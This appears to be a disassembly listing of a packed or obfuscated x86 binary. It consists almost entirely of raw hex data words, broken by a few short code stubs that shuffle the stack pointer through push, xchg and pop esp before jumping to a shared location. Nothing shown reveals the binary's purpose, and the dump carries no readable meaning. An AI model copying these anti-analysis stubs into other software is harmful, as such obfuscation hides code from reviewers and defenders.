dd 57A801C5h, 778A1CE0h, 0F3FAB400h, 13D74EB3h, 34F86FA0h
dd 52168D74h, 6A33AA55h, 576D45F1h, 0C80019B1h, 7E95A255h
dd 0D5903FD4h, 26DBCB2Eh, 0A448EC94h, 8A7AF52Bh, 1DABD3F8h
dd 0B0D47889h, 0B7EEAE37h, 0B6EFC773h, 0CE821FD2h, 26A062Ah
dd 7515F4FEh, 13BF48C1h, 25F4FC3Bh, 64F61ACEh, 7F8027E7h
dd 0CE2145EDh, 0FFAB2469h, 1C120EB6h, 6EB3B5EBh, 0E60CF5B5h
dd 4CCD77A9h, 2B1ECE17h, 9BD4F89Ch, 44C780E7h, 0EC82FA6Dh
dd 4ECDh, 659C1000h, 847B2AEEh, 0A061490Dh, 0BB446529h
dd 0DB268044h, 575E1864h, 773BB24Fh, 985CD33Ch, 0B67AF110h
dd 0CE970EF1h, 56D1A955h, 2C6419B1h, 19DAB9h, 7C630000h
dd 0DD2D1946h, 9DC19A23h, 9D49D24Fh, 1FD37EC5h, 0B1F4A458h
dd 45C72A4Eh, 54089A67h, 661AAC53h, 792DBF42h, 8F43D53Ah
dd 0A458EA17h, 0B96DFF02h, 0C97D0FF0h, 0DA8E20E1h, 86A234CBh
dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68240489h, 4383h
dd 68241489h, 529Fh, 53243C89h, 0AC0FB0BBh, 37C38149h
dd 81149816h, 1C025EEBh, 6E3C106h, 5D72BA52h, 0D321709Bh
dd 9AEB815Ah, 89F9E5F9h, 8B545BDAh, 0C483243Ch, 34815204h
dd 0EA1AC624h, 8478F4Fh, 62CEBE56h, 0F681644Eh, 2BA47808h
dd 5E087731h
db 8Bh, 3Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_535A7A
; ---------------------------------------------------------------------------
dw 0D6C5h
dd 0E1EC52CBh, 0E517CA55h, 0B8EDB797h, 6224BA8h, 0C88BC503h
dd 9FE900EBh, 0E9000006h, 693h, 224D7E68h, 3114E906h, 0DF68FFFDh
dd 0E906224Eh, 0FFFD310Ah, 224F9C68h, 3100E906h, 5F68FFFDh
dd 0E9062250h, 0FFFD30F6h, 22519D68h, 30ECE906h, 0FDAFFFFDh
dd 0DCC98D04h, 0C2E8AC23h, 0A504C83Fh, 871FE35Ah, 0FDB7037Ah
dd 0DC53AEF8h, 0FD749B18h, 1B926F39h, 38AF5057h, 724AF66Fh
dd 519B155h, 258444CDh, 8125DCCEh, 8559FA5Dh, 0AD1FD3A1h
dd 1FD3A1D5h, 0D3A23205h, 0A2885C1Fh, 13D31FD3h, 0AB476B94h
dd 1FD3A2D6h, 0D3A32C00h, 759A9D9Fh, 26C1DEEh, 0DF4B434h
dd 8B2FD37Bh, 0A8575212h, 15ED9916h, 0A89FD3ACh, 0B32C50F4h
dd 1DF5A12Ah, 0B09FD3ACh, 0C33CD8FCh, 5895F0C3h, 76F52BA4h
dd 0F3BD04F9h, 0E8198F3Fh, 118AAE56h, 22DDC888h, 14C4E890h
dd 0BEF46D94h, 0EA0E5A6Ah, 55CCF06Fh, 0E19E08C8h, 30D74453h
dd 9224C84Ch, 0BDA8C4EAh, 1B2FE148h, 946147F7h, 0D049ED14h
dd 0D96B9610h, 247B0D31h, 59057E13h, 9C1002B4h, 8546AD61h
dd 807A13BFh, 4C2CBEAh, 0E5C70000h, 0C4E1A51Ch, 0AA00C43Bh
dd 8D1CE057h, 6F37FB72h, 15CF1B92h, 0F46B9610h, 158C8330h
dd 33AA5751h, 50C7386Fh, 8A620E87h, 1D19B154h, 0F37C72E5h
dd 0D3A16F47h, 2A4E021Fh, 40D22D7Ah, 5DA203C3h, 63FF23CBh
dd 1FD3A18Eh, 0FB26B833h, 18DC53ACh, 6EF7708Fh, 0D3A1EAC2h
dd 0A3C97D1Fh, 0C4FF7973h, 6E00247Eh, 8012EDBAh, 0C45D81FCh
dd 1AA31CE3h, 0D363966Eh, 5175291Fh, 18C44DDAh, 1FD36340h
dd 0A1F91FD3h, 0A7AEB9FAh, 0A5F48AAEh, 48F0945Bh, 419h
dd 9D6245D5h, 0A1966B0Bh, 3AB91FD3h, 0D52A7DA4h, 701C955Eh
dd 1FD3A198h, 0DEB662EBh, 711FD3A1h, 0A06099BDh, 0B66AFC13h
dd 0D88012FDh, 57179034h, 115C2C53h, 1447161Ch, 1236DE70h
dd 25DCCC80h, 9F7723ACh, 0F21FD379h, 0D3796E46h, 144D011Fh
dd 38C53C60h, 7A2B03AFh, 0FEBE1FD3h, 1CC456A9h, 3A45478h
dd 21136AFCh, 7B13EB97h, 0E6A61FD3h, 4AC3EC1h, 7FAB060h
dd 0B229CD75h, 0B446B9EEh, 0B7EEAE37h, 720EB648h, 1FD37A9Ah
dd 0A555792Dh, 0C888010Eh, 87FE22DDh, 0D37B03D7h, 0B0184E1Fh
dd 0E1D54892h, 60530327h, 17A01DAFh, 0D2C8936Bh, 4E72261Fh
dd 0E0593CFBh, 0EFDC5F34h, 0D138EC15h, 0F0332504h, 614C6B01h
dd 66000003h, 8044BB46h, 9F63DA25h, 0BB7FF60Bh, 0D69A11EEh
dd 6EBA31D0h, 0CF5B1B4h, 2DE2D195h, 4BB6F2B6h, 689710D4h
dd 3AF28F1h, 19B1542Bh, 451386BEh, 64249D62h, 842CBE41h
dd 8D1ACE60h, 872CE072h, 0C4841188h, 6A970FE6h, 0FA8C30D8h
dd 0FE922E52h, 491FD3A1h, 0A13C14C0h, 1BCF1FD3h, 0B1875BF7h
dd 189B1FD3h, 0B2E865F7h, 0C87549F9h, 93C28ADDh, 91799AC0h
dd 34C63B6Bh, 28C4E88Ch, 1FD47D54h, 0A682699Fh, 562404B8h
dd 3558DF32h, 0AF8733BCh, 421FD43Ah, 45F16A8Eh, 15F11A40h
dd 0A07824ADh, 3325F35Ah, 825A067Fh, 1525F35Ah, 50043D61h
dd 32A70AE9h, 5A790FF0h, 2A4h, 87FE03A9h, 0A61DE2C3h, 0C239C8E2h
dd 0DD54ABFEh, 0FD748D19h, 0B8EEF7B1h, 0A50ED249h, 792FF36Ah
dd 5A4D1188h, 0EC652EA5h, 0B1526840h, 50C3FB19h, 1CC86245h
dd 1FD3A144h, 0ED7F23D7h, 0FF916E39h, 89CC027Bh, 0BAF18963h
dd 25B28A36h, 91451FD3h, 904EC9EDh, 72E91691h, 818E25E5h
dd 0C0F2C75Dh, 2A1BF094h, 0A8000002h, 0D3A18559h, 0F20F991Fh
dd 12EFB979h, 0A215ED99h, 0F4A81FD3h, 139559D0h, 0F3B575EEh
dd 0A458EA0Eh, 0E76BFD04h, 0F9AF726Ch, 99CEFD33h, 2BB929ACh
dd 0D2A8B78Fh, 0F2964A1Fh, 4588D17Bh, 4825F094h, 0B2000000h
dd 870095A2h, 0F0BBAADBh, 147B2F15h, 0F0320795h, 0E17B9A30h
dd 0E6000001h, 0C43BC6h, 1FE35AA5h, 3BFF768Bh, 561A916Eh
dd 0EE3AB150h, 8C753134h, 0AD625115h, 0CB367236h, 0E8179054h
dd 832FA871h, 19B151ABh, 4593063Eh, 670FA16Eh, 0AD8D39B2h
dd 501FD3A1h, 52560A9Ch, 307636AFh, 7236ADD1h, 0E138CA35h
dd 0FBBF3653h, 0A46B48ADh, 0B44B5E12h, 32D67A22h, 396E2EBBh
dd 0B5F2A2C6h, 9C48D14Ah, 1FD3A1C4h, 0ED7FA357h, 1E957A39h
dd 1FB1505Ah, 9D49C277h, 1FD3A1C5h, 0F30E9858h, 9E09B961h
dd 8327CF61h, 886D3DF1h, 0A54DDF22h, 74FD8A01h, 0D3A1F0C8h
dd 0ABCF831Fh, 42BDE58h, 1CF5C261h, 19CD5F03h, 49F97091h
dd 1FD38175h, 954A8AC0h, 18EAE2C6h, 0F396A1F4h, 7EEBA7Ah
dd 2BBD619Eh, 3AE65F83h, 15EFD369h, 1C13AEEh, 0ACE25BA4h
dd 7EF1AE71h, 59057EE2h, 25F1E681h, 0C53C6014h, 0C95BA401h
dd 0DC6E9315h, 0F2848B28h, 6840EC75h, 0FB25F1E6h, 4A22CE47h
dd 0DD25F1E6h, 55550529h, 149D1AACh, 0F1E69068h, 4B6F2325h
dd 0C9753FF8h, 25F1E6F1h, 8920D084h, 0AD59D276h, 1C0EF780h
dd 54ADFDBDh, 0BDF61AC2h, 4B39A209h, 1EB4FA10h, 0A3FFh
dd 0FD04A800h, 1CE3C286h, 38C9E1A5h, 53ACFDC1h, 738E18DCh
dd 0EFF6B0FCh, 0FD34AB7h, 30F46BA4h, 4E128978h, 662FA659h
dd 506941EDh, 0C4FC19B1h, 33F37C51h, 55FD8F80h, 0D3A1E1B9h
dd 9CC0741Fh, 0B244BBECh, 0C456A9FEh, 3F19C540h, 0A1320AB6h
dd 11C51FD3h, 956A3DEDh, 0D8D1911Eh, 226B9527h, 8073208Fh
dd 1BB1D579h, 0F094625Eh, 206Fh, 0BC7CFC00h, 0D98113EEh
dd 0A14419B5h, 4D5A1FD3h, 0BA0339B2h, 0E7BB8A7h, 0B7E65D81h
dd 0Bh, 0A1855940h, 0E991FD3h, 0B6037AF1h, 28F7Ch, 0C62D0000h
dd 89A6745h, 1AAC5354h, 2DBF4266h, 43D53A79h, 58EA178Fh
dd 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh, 62A26886h
dd 0C890000h, 81E18924h, 4C1h, 4E98300h, 5C240C87h, 5D7068h
dd 241C8900h, 38A568h, 24148900h, 4C96BF57h, 0FB890622h
dd 83243C8Bh, 0EC8104C4h, 4, 81242489h, 42404h, 575A0000h
dd 8157DF89h, 4DF42404h, 428F53BFh, 86A8108h, 53BF4DF4h
dd 24148B5Fh, 81E28952h, 4C2h, 4C28300h, 5C241487h
db 8Bh, 1Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_535A7A
; ---------------------------------------------------------------------------
db 6Dh
dd 0A7212B4Dh, 0B8D76D4Dh, 6225265h, 0D18BC503h, 51E9h
dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h
dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h
dd 158F0Fh, 0EA830000h, 0C428B28h, 2B144A8Bh, 89F82BC1h
dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h, 0FFE9E9FFh
dd 3EBAFFFFh, 0E80009FDh, 11h, 74E656Fh, 0D89853EEh, 6FC2E8FFh
dd 54CF723Bh, 0F8BF0F6Bh, 81CA8B5Ah, 720FC2h, 6800h, 0E9580000h
dd 0Ch, 819643EEh, 7F0C6782h, 0F0BD4FEFh, 81021C8Bh, 0A622CBEBh
dd 0D8E68120h, 8172D56Fh, 0DB7EC4C3h, 178D0F32h, 0E9000000h
dd 12h, 544826CCh, 3BCAA122h, 2E8BB10Fh, 4623C141h, 0C3813EE0h
dd 5B19EEEBh, 870Fh, 1C890000h, 4130BE02h, 6E8147Fh, 0E9000000h
dd 1A7075E3h, 0A840FB8h, 0E9000000h, 5, 37003B95h, 0E8835E0Fh
dd 80505202h, 5E59FCE1h, 81FC4848h, 0FF8ED0F8h, 0C850FFFh
dd 0E9000000h, 2Fh, 2D1BBB47h, 0E9904F8Ch, 0Fh, 6144B347h
dd 0A3F2BEB3h, 4BD1E09Fh, 0E92733A6h, 0FFFFFF60h, 921E0552h
dd 72F267A8h, 0B7869B60h, 0E919D812h, 0D9h, 0FBE1D20h
dd 2F82C12Ch, 0BEB6CFDFh, 365D54FDh, 0BCECA436h, 0C55DD500h
dd 0D676D352h, 0FC94A4h, 0C1AEC441h, 5277CB50h, 9CACAC32h
dd 0F691B800h, 82CD64F7h, 3893h, 3C00h, 4000h, 9400h, 500h
dd 100h, 0A2800h, 200h, 20h dup(0)
dd 0B52B2E00h, 1F12E923h, 63680000h, 0E9062257h, 0FFFD2852h
dd 22586D68h, 2848E906h, 3D68FFFDh, 0E9062259h, 0FFFD283Eh
dd 2259CC68h, 2834E906h, 0B868FFFDh, 0E906225Ah, 0FFFD282Ah
dd 225B9A68h, 2820E906h, 7E68FFFDh, 0E906225Ch, 0FFFD2816h
dd 225D2968h, 280CE906h, 0BB68FFFDh, 0E9062260h, 0FFFD2802h
dd 22612068h, 27F8E906h, 7268FFFDh, 0E9062262h, 0FFFD27EEh
dd 22655D68h, 27E4E906h, 8C68FFFDh, 0E9062268h, 0FFFD27DAh
dd 226C3368h, 27D0E906h, 9268FFFDh, 0E906226Dh, 0FFFD27C6h
dd 226E0368h, 27BCE906h, 5D68FFFDh, 0E906226Eh, 0FFFD27B2h
dd 226EC468h, 27A8E906h, 0B068FFFDh, 0E906226Fh, 0FFFD279Eh
dd 2270DB68h, 2794E906h, 0E068FFFDh, 0E9062271h, 0FFFD278Ah
dd 2BA25F4Dh, 4AC13E67h, 66DD2486h, 81F807A2h, 0A118E9BDh
dd 14929B55h, 1B276EDh, 0D5D3970Eh, 0B6F1B52Ch, 9009D249h
dd 0B14D0CE4h, 0F4679F19h, 0B9D6245h, 38AF5057h, 0AA2366D1h
dd 0F0A9E9FEh, 5D407615h, 47DD1D65h, 39C23BDFh, 0F37AB58Dh
dd 70944825h, 6A161DEh, 9BBF67F9h, 0F37B2BFFh, 0CC129125h
dd 2F17568Ch, 145AE423h, 0DC1F5AF0h, 4FAE0974h, 3B000000h
dd 870095A2h, 976A3EFEh, 8132D773h, 2BDF15F0h, 4C5C1C99h
dd 21F591B5h, 3525F2C2h, 47FB8D72h, 0EE801F5Eh, 1C7C1E26h
dd 0D554E678h, 47C62409h, 0FDD5A497h, 0FBF80974h, 6F000000h
dd 0D9B15DE6h, 6C25F36Ch, 6C441CB8h, 23D725F3h, 62459CFFh
dd 0CE8E0B9Dh, 510125DCh, 7333AC55h, 0BF3CCE33h, 0D3A13B13h
dd 761ACE1Fh, 9B0CC052h, 29D6CF8Fh, 7B53EF97h, 971FD3A1h
dd 2B6EF10h, 8F18CC5Eh, 0E9C1F770h, 18BE9105h, 73239ABEh
dd 1FD343E0h, 0D74EB1F6h, 0E31E8A4Ah, 67980FBFh, 0F9858D5h
dd 0AA3CC3E4h, 0E73A5E02h, 18C43D50h, 15F0539Fh, 27FFAB34h
dd 4325F253h, 60089A67h, 58CF7327h, 0BE9642CBh, 5125F252h
dd 1126799Dh, 1F57037Ch, 0B21C13C3h, 3CFC85FEh, 0C2729669h
dd 679811E4h, 12892DD5h, 42A9584Eh, 0FA6D67C3h, 460524BAh
dd 0E200001Ch, 0FCC037CAh, 1BDF56A9h, 37FB728Fh, 52168D72h
dd 0EA36AD54h, 88792D30h, 0A9664D11h, 0C73A6E32h, 0E41B8C50h
dd 7F2BA46Dh, 19B14AA7h, 458F023Ah, 9C29A061h, 0A18F6713h
dd 6E221FD3h, 0F20D9A4Ah, 95A2047Bh, 36DB8700h, 0A315F081h
dd 9F57A36Dh, 6D919E6Bh, 0CA357434h, 6B179038h, 25F2C293h
dd 3CCE7226h, 0F2C2C89Ch, 36C9DC25h, 47BAF0A4h, 0C21CABB5h
dd 508E0D6Bh, 7463AEEBh, 0DD3F09h, 45CC0000h, 570B9D62h
dd 0A320B24Fh, 9955D96Dh, 143A4B22h, 0B61A2C9Eh, 0F490B477h
dd 1FD36F61h, 58CF3077h, 5AEC1394h, 54553403h, 65F7089Fh
dd 0D38719BDh, 0F39B2DD2h, 8632AB4Fh, 15F0800Dh, 956D19A2h
dd 2825F27Eh, 0F259D074h, 9F624445h, 984C82FBh, 0D0A89872h
dd 97295530h, 73DF6971h, 0C72AD64Fh, 741C136Fh, 1F8747C0h
dd 0FCA969E2h, 0C153BCF7h, 3BE37519h, 0CADCA017h, 35CBD037h
dd 0A83EFA6Dh, 1B3C89h, 2DD4D800h, 4CB3F2B6h, 689911D5h
dd 837C2DF1h, 0A35E480Ch, 1F26E02Ch, 3F037A87h, 60249B74h
dd 7E42B948h, 965FD629h, 4999711Dh, 0F42C19B1h, 0A0614581h
dd 0E8426529h, 0D3A1643Ch, 9F43F71Fh, 0AD659B28h, 9B644361h
dd 573B6109h, 0C24F13B8h, 534955CBh, 45288BAFh, 570B9D62h
dd 1A38AF50h, 9A10D05Ah, 13B7585Bh, 62B5D981h, 9B47C0D5h
dd 15F081E2h, 9030C377h, 6260F0C0h, 27B0E29h, 9E116956h
dd 0A032E6D8h, 1B8FEE49h, 0FCAC54E6h, 37B054ABh, 0BD4AEA8Bh
dd 0D6CF8FDEh, 0C9EF9729h, 76337047h, 69E286FEh, 0EBEC6F33h
dd 0F6BD450Bh, 3BDF8719h, 4D3E16C2h, 1DD1EEBFh, 0E7C080F9h
dd 0CADDA118h, 92D3CE35h, 9C3238C6h, 1A6C7Dh, 5DA40800h
dd 7C8322E6h, 98694105h, 0B34C5D21h, 0D32E783Ch, 4F56105Ch
dd 6F33AA57h, 9054CB44h, 0AE72E918h, 0C68F06F9h, 48C9A14Dh
dd 245C19B1h, 9D6245B1h, 0E83B40Bh, 9244E995h, 3DF115F0h
dd 7CD0A8C6h, 0B15DD6BBh, 1C0FB2F8h, 0C946D98Dh, 2ED20A40h
dd 2627A04Eh, 121AB28Ah, 6D91452Ch, 0A13A7AD1h, 4F42F563h
dd 5A3D2AD6h, 6BAE9E0h, 771A1D74h, 92B152FEh, 0A256EFFFh
dd 0C13E6929h, 0DE21864Ah, 308B477h, 1C3BD116h, 19DDh
dd 57CE3379h, 76ED1293h, 9209F8B2h, 0AD24DBCEh, 0CD44BDE9h
dd 0E8BEC781h, 0D5DEA219h, 0A9FFC33Ah, 8A1DE158h, 0BC35FE75h
dd 0B1483810h, 2093CB19h, 249D6245h, 2DBF4264h, 78CF6185h
dd 0BEABEBFh, 2FC1659Ah, 0BE6AE387h, 15F0B5E9h, 0BE4BC276h
dd 0B5B18935h, 904425F2h, 8B23626Ch, 9224DDCBh, 0C473C6EAh
dd 0F3AC58D1h, 881C0F95h, 0FFA141D4h, 6AC8B84Dh, 8D5D35E1h
dd 2C79C8BAh, 0C0E69AD3h, 905FC19Bh, 0A1F41874h, 447AF396h
dd 1C3A81BEh, 0E6C5D8CDh, 99C8B55h, 1CC84165h, 0BED6E62Fh
dd 0F66F8ACh, 0B44D5928h, 4AEB9710h, 0AFC4F61Fh, 6ECEEC79h
dd 84A80522h, 4A40154Bh, 0F2B5F0D2h, 1A549B8h, 20DFC888h
dd 34CBDA8Eh, 3256FAA2h, 7CAEF9B9h, 0F81CF8D0h, 33D78BD4h
dd 50AFF8BCh, 9423CE9h, 84A33943h, 18F1h, 6BE21F8Dh, 8A01FEA7h
dd 0A61DE4C6h, 0C138C7E2h, 0E158A9FDh, 0D4D2DB95h, 0C1F2B62Dh
dd 9513D74Eh, 7631F56Ch, 0D0491289h, 0B1474C24h, 34A7DF19h
dd 249D6245h, 2ABC4364h, 75CC5E82h, 0AA56CFC2h, 15F081A5h
dd 0AE615212h, 1750741Ch, 0C20AE28Eh, 0E99D25F2h, 0D1B0CE45h
dd 74EDA097h, 0FA20FC8h, 2FDB641Ch, 2C11E157h, 0D91236EAh
dd 7723AC25h, 2C11E19Fh, 0C75A7E32h, 0D2562D27h, 0E0C88828h
dd 8DAAFD21h, 0F6E38F08h, 731F7177h, 0F0B02DBFh, 0D5284CC3h
dd 0AB62F62h, 2590B069h, 27584E0Eh, 0DE8415F6h, 0D4781C3Dh
dd 4E26D25Bh, 0E13592A4h, 790092Dh, 0A4FAD27Eh, 48D3592h
dd 92A48058h, 0BB5F1335h, 3FC0E797h, 6B23BC8h, 3592A42Eh
dd 39E90DC1h, 0D52A916Eh, 70E3923Ah, 180FBBDAh, 1AB0000h
dd 0E0C58900h, 0C6E4A81Fh, 0A900C43Bh, 8B1BDF56h, 0F9B3FF76h
dd 0D84FB2F4h, 0F9709F14h, 178E7335h, 34AB5453h, 6E46F26Bh
dd 119B146h, 0BC7C56C9h, 0BB933FEBh, 4E1FD3A1h, 0BC64F69Ah
dd 40BFE898h, 0BA923EC7h, 0D61FD3A1h, 0F29A2CD3h, 4FE105B9h
dd 0D14A3FF8h, 0F0B1F825h, 0F0B57515h, 31D57D0Fh, 0AB832FB8h
dd 3E25F2B0h, 62EF668Ah, 6AFC03A2h, 0E4949EC2h, 0D040C770h
dd 0FA998ACh, 0E3896731h, 6F1381E5h, 0EDA652CBh, 421C0F98h
dd 4763CB0Ch, 23473C31h, 4A161EAh, 25C169FBh, 2C129E4Dh
dd 0F5882CE0h, 59574055h, 1184B3B7h, 77FFEC98h, 0C87CB5F8h
dd 3558DF36h, 0B06F10BCh, 6014BC17h, 7F8027E7h, 9C634606h
dd 3E740178h, 0F16B658Fh, 1BCBEF27h, 0BD0C738Ch, 485A6BA0h
dd 172B93B2h, 0E5C70000h, 0C4E1A51Ch, 0AA00C43Bh, 8D1CE057h
dd 6F37FB72h, 15CF1B92h, 0F46B9610h, 158C8330h, 33AA5751h
dd 50C7386Fh, 8A620E87h, 1D19B145h, 0F37C72E5h, 0D3A16F47h
dd 2A4E021Fh, 0DFC62D7Ah, 0CC437020h, 5CEE923Ah, 0E65F3205h
dd 0F5F6DD3Ah, 45F17A15h, 25F5F56Dh, 2FA84C00h, 50C7386Fh
dd 0F5F778A0h, 2564D125h, 42BDEAAEh, 6B083ECBh, 0DC2585C9h
dd 627D14B6h, 494CEB3Eh, 0BAC724D0h, 0B0641C18h, 0E878AE37h
dd 0E44F70CDh, 0EB340CB8h, 13C72C18h, 0A9B4B6Fh, 0EBBA7EF5h
dd 0D9CE8214h
dd 7174BF26h, 5BF1FA68h, 16803Ch, 71901C00h, 906F36FAh
dd 0AC555519h, 0C7387135h, 0E71A8C50h, 636A2470h, 8347BE43h
dd 0A468DF30h, 0C286FD04h, 0DAA31AE5h, 44DDB561h, 387019B1h
dd 95A2C5h, 6A3EFE87h, 7AD77397h, 1715F5F7h, 7D2AEA63h
dd 7C3BFC00h, 31D55817h, 0AFE253BAh, 43A68A36h, 9D5125F6h
dd 59058E0Bh, 25F64381h, 0A03C6014h, 25F643CBh, 0B763C9E1h
dd 25F643DFh, 881ABE72h, 9C2ED1D4h, 5538B0Ah, 0F6438159h
dd 0BC601425h, 3CFFDF5Eh, 949E67Dh, 48B7F0B0h, 6A8B24h
dd 0A2180000h, 0D985FE93h, 1FD3A1FDh, 0D552E498h, 920A149Fh
dd 0B8F0EFFEh, 6B0FB749h, 0F2D7AB47h, 0BE3D1FD2h, 175E1B20h
dd 0CF8FF094h, 6D062AD7h, 38h, 64467CFAh, 0A6B01093h, 0F4A5E638h
dd 0D9E5E7CEh, 688C30D1h, 0D2DCF7CCh, 0C8CD6A1Fh, 913DC64Fh
dd 1FD2DCB9h, 0DC88600Ch, 671B1FD2h, 0BA567A2Eh, 15EFE021h
dd 148B02B6h, 870095A2h, 0F0B0CEDBh, 684B0B15h, 964A83A7h
dd 0A8575004h, 0C53A6D31h, 0EC9D164Ch, 2B5B1119h, 0E5C17507h
dd 0D1D68A1Ch, 0BDE89C2Eh, 0ED149242h, 1CC2515Bh, 627C0B11h
dd 0A017E8BFh, 0AB545313h, 2FD0D787h, 46CB80B6h, 0E97B8425h
dd 0A9D11B41h, 0C219ABCFh, 1EA72075h, 35E1495Eh, 25F30C5Dh
dd 6983CF0h, 159E3A5Eh, 8A1C1026h, 0C9B5FD6h, 24E461F3h
dd 5B07808Fh, 2C122583h, 0A23E6216h, 94268CEFh, 63BE20AFh
dd 0B744BB44h, 694C0181h, 173BBA81h, 2DBF4067h, 4EFA3079h
dd 0A4491F76h, 1FB15509h, 34C63B6Bh, 47D92880h, 85A836B5h
dd 0F26678F7h, 0F7897832h, 0F89C6543h, 7C8324D4h, 99664105h
dd 287B007h, 1FE0C989h, 48C1E58Dh, 6630B39Ch, 0FD74289Ah
dd 633BE770h, 0F6AA6830h, 396E1E42h, 8315ECBAh, 0F1A537DBh
dd 0B1BB4DC2h, 4E659B24h, 0C088EC8Ch, 0C5D6AE4Ah, 0B569AA67h
dd 0C5B8903Ch, 974BAA67h, 3BE6F873h, 581C936Ch, 0C71EB04Fh
dd 0F8A41D70h, 0A084CFFBh, 24CFD898h, 43EB7D84h, 0C1650D9Fh
dd 0DE21864Ah, 9A46CF4Ch, 0B086CFC2h, 0EC159555h, 0B4882448h
dd 3DC086CFh, 46B9F0B0h, 0EA37A722h, 9C942BDh, 29D1639Ch
dd 0DECA8E05h, 0C9DD9123h, 0A722A638h, 43BEEA37h, 277F3FCCh
dd 0A206B6DAh, 9019CD5Fh, 1BBF5063h, 0EEF07F89h, 5D35E16Ah
dd 0F0C086CFh, 0F88A7530h, 0D888AC50h, 7B8425D0h, 0C9C60D7h
dd 0F7BC7CF5h, 0B62F418h, 30F0692Ch, 51F98B76h, 0CF542CD8h
dd 33E7C086h, 0DDEA960Fh, 5AB6A3DEh, 38214A6h, 1D6246DBh
dd 93C7922Bh, 0CE45E974h, 0D0629D0Ah, 0E2748B1Ch, 0F486792Eh
dd 4966940h, 87A638C3h, 0CF528C07h, 6B027D8h, 0A9B9F6B3h
dd 235Ah, 6345E700h, 82B50C9Eh, 0A1EA960Fh, 1615F0A8h
dd 37BCEB62h, 2F000000h, 0FBF17FF9h, 0D5DEF30Ah, 0F72963Ah
dd 259E6345h, 0A218F09Ch, 0F7AB1FD3h, 4DEA41D3h, 1046CF48h
dd 25DC2D5Ch, 7A3C76Ah, 15F05866h, 0A65B4B0Bh, 0AC50AFF6h
dd 0BC7CBE35h, 0DA8214EBh, 88CCACB6h, 2B61DAAFh, 0C07DDFC1h
dd 87002405h, 0EF8922DBh, 74417715h, 5EFEF66Eh, 0EB9FD8FCh
dd 9AE0B858h, 0DE590A83h, 998632ABh, 1610C27Bh, 0BE79D062h
dd 5A652CBh, 0AA16E1B5h, 0EABD7DF6h, 51119E15h, 7119AB54h
dd 730A9D4Dh, 0B36D7EE1h, 268D31E5h, 0F13D62D7h, 0EE99B84Eh
dd 8A000012h, 0A468DF22h, 0C387FE01h, 0DFA31AE7h, 0FABE35CAh
dd 92DE55ACh, 30D1D5D8h, 51BEF5B9h, 6F9216DAh, 8C7334F8h
dd 27D34C15h, 19B1414Fh, 5937AAE2h, 1FD3A281h, 0C79F4BD4h
dd 5A1FD3A2h, 82F82A6h, 0E7600C85h, 7C15F0BAh, 198F4FC8h
dd 0FBAD71E8h, 0B256B9FAh, 0C43B6C20h, 322FCE5Dh, 0C6E57BF0h
dd 1289h, 37A8725h, 2299663Fh, 3EB54C5Eh, 59D02F7Ah, 79F01195h
dd 3C6A732Dh, 298A4EC5h, 0FDAB6FE6h, 0DEC98D04h, 68E1AA21h
dd 0B140E4BCh, 0CC3F7719h, 870095A2h, 0F0BA62DBh, 0CA43F715h
dd 0B9BD9541h, 9C5025F2h, 663FFF78h, 0C952299h, 0F2B98860h
dd 43671B25h, 5BED1293h, 7E2A00A7h, 25F2B9A6h, 0E11AE5C2h
dd 0D67A8721h, 8F0EA032h, 2CD3D24Fh, 74E497B5h, 8337CABFh
dd 27D8D122h, 0C1810A83h, 0DE8618E9h, 0F2B96A42h, 2549FD25h
dd 0BA1EF393h, 4AC325F2h, 6D9C3014h, 0F384E9C1h, 0A2C87C25h
dd 0EC104CE2h, 0F1B46D71h, 810A970Eh, 0F373FDD5h, 0B8DC9025h
dd 0D0629D08h, 52CBBE79h, 15C95DA6h, 595C921Ch, 0AA5ED952h
dd 3962BBDCh, 0B27AA213h, 28A1558Eh, 1228699Fh, 69106B52h
dd 0ED129545h, 0AF5B276h, 0FCC5FB78h, 0DA6A7E73h, 1E196C90h
dd 7432F26Bh, 2F53FB8Dh, 196E0AB6h, 93C92238h, 0FAA64628h
dd 0A3DC0043h, 0F1B676EFh, 0D4D3970Eh, 3E6A8B1Fh, 0E97B1FC3h
dd 4564366Ch, 745B76F0h, 0D53AFD50h, 1D5F08D3h, 844D19A6h
dd 84B5294Fh, 0FEAA23C7h, 2854EB49h, 0EA21A0D6h, 45DB37C9h
dd 59EB1495h, 3BA60DB1h, 0BAEEAE5Ch, 11370524h, 0D9D30000h
dd 0B8EDB128h, 9E0CD047h, 8128EC63h, 6343077Eh, 21DB279Eh
dd 778A1Ch, 2198773Ch, 3FB64B5Dh, 5CD32C7Bh, 966E1A93h
dd 2919B13Fh, 78597EF1h, 0A61FD3A1h, 2188FF02h, 4EFA7316h
dd 15F5F5AAh, 9F28A155h, 772FD4DFh, 12C2E68Ah, 65F26998h
dd 6E0001A5h, 8012EDBAh, 2F8434D8h, 82A64EE0h, 0B01A5F1Fh
dd 2AB3F114h, 2A000001h, 37C8E1A1h, 53A1C39Bh, 10965620h
dd 13B75FF1h, 92A28CEFh, 0E1C484FDh, 7C97FA1Eh, 8517EABCh
dd 9440B9DDh, 1FD3A1BFh, 7C63C67Eh, 6607A09h, 9CFF94A2h
dd 91A22087h, 0B446B9F0h, 6205680Ch, 0B06A5FFBh, 23E3F394h
dd 25FDA983h, 0B822D3A2h, 26CE6004h, 0ACD02F76h, 2F13h
dd 94A2A000h, 0D07C9CFFh, 1FD3A1FBh, 7C71D488h, 0A16F47F3h
dd 4E021FD3h, 453EB12Ah, 7C399C65h, 9F30DB46h, 779BD09Dh
dd 40DA91F8h, 63000000h, 9CFF94A2h, 7533F37Ch, 0F7CC688Ch
dd 0B61FD3A1h, 0F5E3757Ch, 4271DBE1h, 2648A5Ch, 930CB0A5h
dd 0A6B1845Dh, 0A9CF49A9h, 8DF5DC45h, 0C82B4FC6h, 6545097Ch
dd 0BC7C399Ch, 0D88012EDh, 5FCE35B4h, 0F394B06Ah, 2FC3h
